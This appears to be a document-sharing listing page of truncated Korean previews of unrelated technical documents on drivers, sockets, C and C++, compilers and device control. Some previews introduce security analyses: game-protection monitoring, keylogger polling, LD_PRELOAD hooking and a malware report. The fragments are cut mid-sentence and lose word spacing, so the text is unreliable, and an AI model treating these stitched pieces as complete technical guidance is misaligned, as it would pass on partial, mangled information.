게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

Sharing Memory Between Drivers and Applications

Sharing Memory Between Drivers and Applications 본컬럼에대한모든저작권은 DevGuru에있습니다. 컬럼을타사이트등에기재및링크또는컬럼내용을인용시반드시출처를밝히셔야합니다. 컬럼들을 CD나기타매체로배포하고자할경우 DevGuru에동의를얻으셔야합니다. c DevGuru Corporation. All rights reserved 기타자세한질문사항들은웹게시판이나 support@devguru.co.kr 으로 문의하기바랍니다.

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode] TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()

More information

Microsoft PowerPoint - additional01.ppt [호환 모드]

Microsoft PowerPoint - additional01.ppt [호환 모드] 1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 파일입출력 Heeseung Jo 이장의내용 파일과파일포인터 파일입출력함수 임의접근파일처리 2 파일과파일포인터 파일 파일은모든데이터를연속된바이트형태로저장 4 C 언어의파일종류 텍스트파일 (text file) 사람들이읽을수있는문자들을저장하고있는파일 텍스트파일에서 " 한줄의끝 " 을나타내는표현은파일이읽어들여질때, C 내부의방식으로변환 예, a.txt, main.c,

More information

컴파일러

컴파일러 YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

DCL Debugging Support

DCL Debugging Support DCL Runtime Debugging Support 2005.06.08 김대중 http://www.sysdeveloper.net/daejung 요약 버그없는소프트웨어를개발하는것은결코쉬운일이아니다. 대부분의상업적개발도구들이소스프로그램을추적할수있도록하는디버깅환경을제공하고있고이러한것들은단위함수들을디버깅하는데있어서매우유용한건사실이다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

1. Execution sequence 첫번째로 GameGuard 의실행순서는다음과같습니다 오전 10:10:03 Type : Create 오전 10:10:03 Parent ID : 0xA 오전 10:10:03 Pro

1. Execution sequence 첫번째로 GameGuard 의실행순서는다음과같습니다 오전 10:10:03 Type : Create 오전 10:10:03 Parent ID : 0xA 오전 10:10:03 Pro #44u61l5f GameGuard 에대한간단한분석. By Dual5651 (http://dualpage.muz.ro) 요약 : 이문서는분석자의입장에서 GameGuard의동작을모니터링한것에대한것입니다. 실제 GameGuard의동작방식과는다소차이가있을수있습니다. 이문서에등장하는모든등록상표에대한저작권은해당저작권자에게있습니다. 1. Execution sequence

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070> 1 #include 2 #include 3 #include 4 #include 5 #include 6 #include "QuickSort.h" 7 using namespace std; 8 9 10 Node* Queue[100]; // 추가입력된데이터를저장하기위한 Queue

More information

adfasdfasfdasfasfadf

adfasdfasfdasfasfadf C 4.5 Source code Pt.3 ISL / 강한솔 2019-04-10 Index Tree structure Build.h Tree.h St-thresh.h 2 Tree structure *Concpets : Node, Branch, Leaf, Subtree, Attribute, Attribute Value, Class Play, Don't Play.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Sensor Device Jo, Heeseung Sensor 실습 HBE-SM5-S4210 에는근접 / 가속도 / 컴파스센서가장착 각센서들을사용하기위한디바이스드라이버와어플리케이션을작성 2 근접 (Proximity) 센서 HBE-SM5-S4210 Camera Module 근접센서디바이스 근접센서는사물이다른사물에접촉되기이전에가까이접근하였는지를검출할목적으로사용 일반적으로생활에서자동문이나엘리베이터,

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

Chapter 4. LISTS

Chapter 4. LISTS 6. 동치관계 (Equivalence Relations) 동치관계 reflexive, symmetric, transitive 성질을만족 "equal to"(=) 관계는동치관계임. x = x x = y 이면 y = x x = y 이고 y = z 이면 x = z 동치관계를이용하여집합 S 를 동치클래스 로분할 동일한클래스내의원소 x, y 에대해서는 x y 관계성립

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자 SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 오픈소스소프트웨어개발입문 (CP33992) 파일입출력 부산대학교공과대학정보컴퓨터공학부 학습목표 파일의기본개념과특징을이해할수있다. 파일처리과정을이해할수있다. 형식을지정한파일입출력함수의사용법을알수있다. 2 파일과파일포인터 3 파일 C 의파일은모든데이터를연속된바이트형태로저장한다. 4 텍스트파일 (text file) C 언어의파일종류 사람들이읽을수있는문자들을저장하고있는파일

More information

Microsoft PowerPoint - Chapter_09.pptx

Microsoft PowerPoint - Chapter_09.pptx 프로그래밍 1 1 Chapter 9. Structures May, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 구조체의개념 (1/4) 2 (0,0) 구조체 : 다양한종류의데이터로구성된사용자정의데이터타입 복잡한자료를다루는것을편하게해줌 예 #1: 정수로이루어진 x,

More information

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

제8장 자바 GUI 프로그래밍 II

제8장 자바 GUI 프로그래밍 II 제8장 MVC Model 8.1 MVC 모델 (1/7) MVC (Model, View, Controller) 모델 스윙은 MVC 모델에기초를두고있다. MVC란 Xerox의연구소에서 Smalltalk 언어를바탕으로사용자인터페이스를개발하기위한방법 MVC는 3개의구성요소로구성 Model : 응용프로그램의자료를표현하기위한모델 View : 자료를시각적으로 (GUI 방식으로

More information

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2 제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.

More information

<4D F736F F F696E74202D C7D4BFEEC3B6B1B3BCF6B4D4205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D C7D4BFEEC3B6B1B3BCF6B4D4205BC8A3C8AF20B8F0B5E55D> Windows XP 에서의장치관리자 : Device Driver 에관하여 May 29, 2015. CHONBUK NATIONAL UNIVERSITY Prof. Woonchul Ham 2015-05-28 1 개요 1. 장치관리자란? 2. Device Driver 작업환경은? 3. Driver 의구조 4. Plug & Play 5. Device Driver 응용사례

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

슬라이드 1

슬라이드 1 / 임베디드시스템개요 / 임베디드운영체제 / 디바이스드라이버 01 Linux System Architecture Application Area Application System Call Interface BSD Socket Virtual File System INET(AF_INET) Kernel Area Buffer Cache Network Subsystem

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

교육지원 IT시스템 선진화

교육지원 IT시스템 선진화 Module 16: ioctl 을활용한 LED 제어디바이스드라이버 ESP30076 임베디드시스템프로그래밍 (Embedded System Programming) 조윤석 전산전자공학부 주차별목표 ioctl() 을활용법배우기 커널타이머와 ioctl 을활용하여 LED 제어용디바이스드라이브작성하기 2 IOCTL 을이용한드라이버제어 ioctl() 함수활용 어떤경우에는읽는용도로만쓰고,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

C++ Programming

C++ Programming C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout

More information

악성코드분석보고서 (Lucci.exe) 작성자 : 김진태 1

악성코드분석보고서 (Lucci.exe) 작성자 : 김진태 1 악성코드분석보고서 (Lucci.exe) 작성자 : 김진태 1 Index 1. 개요... 3 1. 1 악성코드의제작... 3 1. 2 악성코드의전체적인동작... 3 1. 3 악성코드의분석절차... 4 1. 4 악성코드의파일정보... 4 2. 분석... 5 2. 1 정적분석... 5 2. 2 동적분석... 6 2. 3 상세분석... 10 2. 3.1 Lucci.exe...

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information